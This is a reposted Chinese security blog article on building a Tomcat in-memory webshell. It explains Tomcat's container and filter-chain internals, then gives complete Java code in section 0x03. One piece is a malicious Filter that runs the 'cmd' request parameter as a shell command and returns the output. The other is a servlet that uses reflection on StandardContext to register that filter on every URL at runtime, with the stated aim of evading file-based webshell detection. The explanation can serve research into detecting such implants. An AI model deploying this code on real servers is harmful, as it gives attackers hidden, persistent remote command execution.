Java安全之基於Tomcat實現內存馬


Java安全之基於Tomcat實現內存馬

0x00 前言

在近年來紅隊行動中,基本上除了非必要情況,一般會選擇打入內存馬,然后再去連接。而落地Jsp文件也任意被設備給檢測到,從而得到攻擊路徑,刪除webshell以及修補漏洞,內存馬也很好的解決了反序列化回顯的問題。但是隨着紅藍攻防持續博弈中,一些內存馬的查殺工具也開始逐漸開始出現、成型。所以有必要研究一下內存馬的實現。

0x01 Tomcat架構分析

需要了解基於tomcat內存馬實現還得去分析tomcat的一些處理機制以及結構。而在Tomcat中的內存馬並不能和Weblogic的內存馬實現通用,因為結構上就不一樣。

下面對tomcat的體系結構與執行流程進行一系列的探究,下面來看張tomcat的架構圖

  • Server:
    Server,即指的WEB服務器,一個Server包括多個Service。

  • Service:

    Service的作用是在ConnectorEngine外面包了一層(可看上圖),把它們組裝在一起,對外提供服務。一個Service可以包含多個Connector,但是只能包含一個Engine,其中Connector的作用是從客戶端接收請求,Engine的作用是處理接收進來的請求。后面再來細節分析Service。

  • Connector:

    Tomcat有兩個典型的Connector,一個直接偵聽來自browser的http請求,一個偵聽來自其它WebServer的請求Coyote Http/1.1 Connector 在端口8080處偵聽來自客戶browser的http請求
    Coyote JK2 Connector 在端口8009處偵聽來自其它WebServer(Apache)的servlet/jsp代理請求。

  • Engine:

    Engine下可以配置多個虛擬主機,每個虛擬主機都有一個域名當Engine獲得一個請求時,它把該請求匹配到某個Host上,然后把該請求交給該Host來處理Engine有一個默認虛擬主機,當請求無法匹配到任何一個Host上的時候,將交給該默認Host來處理。

  • Host:

    代表一個虛擬主機,每個虛擬主機和某個網絡域名Domain Name相匹配
    每個虛擬主機下都可以部署(deploy)一個或者多個Web App,每個Web App對應於一個Context,有一個Context path,當Host獲得一個請求時,將把該請求匹配到某個Context上,然后把該請求交給該Context來處理匹配的方法是“最長匹配”,所以一個path==""的Context將成為該Host的默認Context所有無法和其它Context的路徑名匹配的請求都將最終和該默認Context匹配。

  • Context:

    一個Context對應於一個Web Application,一個WebApplication由一個或者多個Servlet組成
    Context在創建的時候將根據配置文件$CATALINA_HOME/conf/web.xml$WEBAPP_HOME/WEB-INF/web.xml載入Servlet類,當Context獲得請求時,將在自己的映射表(mapping table)中尋找相匹配的Servlet類。如果找到,則執行該類,獲得請求的回應,並返回。

下面來看詳細說明:

Connector

Connector也被叫做連接器。Connector將在某個指定的端口上來監聽客戶的請求,把從socket傳遞過來的數據,封裝成Request,傳遞給Engine來處理,並從Engine處獲得響應並返回給客戶端。

Engine:最頂層容器組件,其下可以包含多個 Host。
Host:一個 Host 代表一個虛擬主機,其下可以包含多個 Context。
Context:一個 Context 代表一個 Web 應用,其下可以包含多個 Wrapper。
Wrapper:一個 Wrapper 代表一個 Servlet。

對照圖:

ProtocolHandler

Connector中,包含了多個組件,Connector使用ProtocolHandler處理器來處理請求。不同的ProtocolHandler代表不同連接類型。ProtocolHandler處理器可以用看作是協議處理統籌者,通過管理其他工作組件實現對請求的處理。ProtocolHandler 包含了三個非常重要的組件,這三個組件分別是:

- Endpoint: 負責接受,處理socket網絡連接
- Processor: 負責將從Endpoint接受的socket連接根據協議類型封裝成request
- Adapter:負責將封裝好的Request交給Container進行處理,解析為可供Container調用的繼承了		      ServletRequest接口、ServletResponse接口的對象。

請求經Connector處理完畢后,傳遞給Container進行處理。

Container

Container容器則是負責封裝和管理Servlet 處理用戶的servlet請求,並返回對象給web用戶的模塊。

Container 處理請求,內部是使用Pipeline-Value管道來處理的,每個 Pipeline 都有特定的 Value(BaseValue)BaseValue 會在最后執行。上層容器的BaseValue 會調用下層容器的管道,FilterChain 其實就是這種模式,FilterChain 相當於 Pipeline,每個 Filter 相當於一個 Value。4 個容器的BaseValve 分別是StandardEngineValve StandardHostValveStandardContextValve 和StandardWrapperValve。每個Pipeline 都有特定的Value ,而且是在管道的最后一個執行,這個Valve 叫BaseValveBaseValve 是不可刪除的。

這三張圖其實就很好的解釋了他的一個執行流程,看到最后一張圖,在wrapper-Pipline執行完成后會去創建一個FilterChain對象也就是我們的過濾鏈。這里來解釋一下過濾鏈。

過濾鏈:在一個 Web 應用程序中可以注冊多個 Filter 程序,每個 Filter 程序都可以針對某一個 URL 進行攔截。如果多個 Filter 程序都對同一個 URL 進行攔截,那么這些 Filter 就會組成一個Filter 鏈(也稱
過濾器鏈)。

如果做過Java web開發的話,不難發現在配置Filter 的時候,假設執行完了就會來到下一個Filter 里面,如果都 FilterChain.doFilter進行放行的話,那么這時候才會執行servlet內容。原理如上。

整體的執行流程,如下圖:

Server :
- Service 
-- Connector: 客戶端接收請求
--- ProtocolHandler: 管理其他工作組件實現對請求的處理
---- Endpoint: 負責接受,處理socket網絡連接
---- Processor: 負責將從Endpoint接受的socket連接根據協議類型封裝成request
---- Adapter: 負責將封裝好的Request交給Container進行處理,解析為可供Container調用的繼承了		      ServletRequest接口、ServletResponse接口的對象。
--- Container: 負責封裝和管理Servlet 處理用戶的servlet請求,並返回對象給web用戶的模塊
-- Engine:處理接收進來的請求
--- Host: 虛擬主機
--- Host: 虛擬主機
--- Host: 虛擬主機
--- Context: 相當於一個web應用
--- Context:相當於一個web應用
--- Context:相當於一個web應用

0x02 過濾鏈分析

在分析過濾鏈前需要了解的一些基礎知識,不然看起來比較費勁。在網上查閱了一些資料。

ServletContext

javax.servlet.ServletContextServlet規范中規定了的一個ServletContext接口,提供了Web應用所有Servlet的視圖,通過它可以對某個Web應用的各種資源和功能進行訪問。WEB容器在啟動時,它會為每個Web應用程序都創建一個對應的ServletContext,它代表當前Web應用。並且它被所有客戶端共享。

看到ServletContext的方法中有addFilteraddServletaddListener方法,即添加FilterServletListener

那么如何獲取到這個ServletContext呢?

獲取ServletContext的方法

this.getServletContext();
this.getServletConfig().getServletContext();

但是這里獲取到的實際上是一個ApplicationContextFacade對象,該對象對ApplicationContext的實例進行的一個封裝。

ApplicationContext

org.apache.catalina.core.ApplicationContext

對應Tomcat容器,為了滿足Servlet規范,必須包含一個ServletContext接口的實現。Tomcat的Context容器中都會包含一個ApplicationContext。

StandardContext

Catalina主要包括Connector和Container,StandardContext就是一個Container,它主要負責對進入的用戶請求進行處理。實際來說,不是由它來進行處理,而是交給內部的valve處理。
一個context表示了一個外部應用,它包含多個wrapper,每個wrapper表示一個servlet定義。(Tomcat 默認的 Service 服務是 Catalina)

Filter鏈分析

過濾鏈創建細節分析

假設我們基於filter去實現一個內存馬,我們需要找到filter是如何被創建的。
下面使用IDEA對其進行調試,這里配置了一個簡單的過濾器,然后運行進行調試。

打開IDEA開沖。下個斷點逆向進行分析

org.apache.catalina.core.ApplicationFilterChain#internalDoFilter中會去調用filter.doFilter才會來到我們配置的filter.doFilter方法中。其實還是前面講到的責任鏈。

這里會從filterConfig中去獲取到一個filter對象然后來進行調用doFilter。跟蹤到上層。

org.apache.catalina.core.ApplicationFilterChain#doFilter會被org.apache.catalina.core.StandardWrapperValve#invoke方法調用。

invoke方法說明:請求進入后,Connector調用context的invoke方法。invoke將請求交給其pipeline去處理,由pipeline中的所有valve順序處理請求。

在invoke方法的位置調用filterChain.doFilter,對請求進行過濾操作。那么再來看看filterChain是如何獲取到的。

使用ApplicationFilterFactory.createFilterChain創建了一個過濾鏈,將request, wrapper, servlet進行傳遞。

跟進ApplicationFilterFactory.createFilterChain方法查看

這里則會調用context.findFilterMaps()StandardContext尋找並且返回一個FilterMap數組。

再來看到后面的代碼

遍歷StandardContext.filterMaps得到filter與URL的映射關系並通過matchDispatcher()matchFilterURL()方法進行匹配,匹配成功后,還需判斷StandardContext.filterConfigs中,是否存在對應filter的實例,當實例不為空時通過addFilter方法,將管理filter實例的filterConfig添加入filterChain對象中。

再回溯上層

 Wrapper wrapper = request.getWrapper();
		......
            
 wrapper.getPipeline().getFirst().invoke(request, response);

而下面的一系列都是調用管道的invoke方法,則對應這張圖

Filter實例存儲分析

下面再來看看Filter實例存放的位置在哪,在開發中會從web.xml或注解去配置一個Filter,org.apache.catalina.core.StandardContext容器類負責存儲整個Web應用程序的數據和對象,並加載了web.xml中配置的多個Servlet、Filter對象以及它們的映射關系。

里面有三個和Filter有關的成員變量:

    filterMaps變量:包含所有過濾器的URL映射關系

    filterDefs變量:包含所有過濾器包括實例內部等變量 

    filterConfigs變量:包含所有與過濾器對應的filterDef信息及過濾器實例,進行過濾器進行管理

filterConfigs 成員變量是一個HashMap對象,里面存儲了filter名稱與對應的ApplicationFilterConfig對象的鍵值對,在ApplicationFilterConfig對象中則存儲了Filter實例以及該實例在web.xml中的注冊信息。

filterDefs 成員變量成員變量是一個HashMap對象,存儲了filter名稱與相應FilterDef的對象的鍵值對,而FilterDef對象則存儲了Filter包括名稱、描述、類名、Filter實例在內等與filter自身相關的數據

filterMaps 中的FilterMap則記錄了不同filter與UrlPattern的映射關系

private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();

private HashMap<String, FilterDef> filterDefs = new HashMap();

private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();

0x03 內存馬實現

先來配置一個配置上一個惡意的Filter。

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

@WebFilter("/*")
public class cmd_Filters implements Filter {
    public void destroy() {
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            resp.getWriter().write(output);
            resp.getWriter().flush();
        }
        chain.doFilter(request, response);
    }

    public void init(FilterConfig config) throws ServletException {

    }

}

本質上其實就是Filter中接受執行參數,但是如果我們在現實情況中需要動態的將該Filter給添加進去。

由前面Filter實例存儲分析得知 StandardContext Filter實例存放在filterConfigs、filterDefs、filterConfigs這三個變量里面,將fifter添加到這三個變量中即可將內存馬打入。那么如何獲取到StandardContext 成為了問題的關鍵。

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.Map;
import java.util.Scanner;

@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {


//        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
//        org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
//        org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
//該獲取StandardContext測試報錯
        Field Configs = null;
        Map filterConfigs;
        try {
            //這里是反射獲取ApplicationContext的context,也就是standardContext
            ServletContext servletContext = request.getSession().getServletContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);



            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return;
                        }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };
                //反射獲取FilterDef,設置filter名等參數后,調用addFilterDef將FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                FilterDef o = (FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);
                //反射獲取FilterMap並且設置攔截路徑,並調用addFilterMapBefore將FilterMap添加進去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);

                //反射獲取ApplicationFilterConfig,構造方法將 FilterDef傳入后獲取filterConfig后,將設置好的filterConfig添加進去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterConfigs.put(FilterName,filterConfig);
                response.getWriter().write("Success");


            }
        } catch (Exception e) {
            e.printStackTrace();
        }




    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

這個StandardContext獲取到的方式也有待研究。獲取到StandardContext類后,后面的則是使用反射將一些屬性或值添加進去的步驟。

0x04 結尾

寥寥草草結尾,其實還有很多值得研究。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM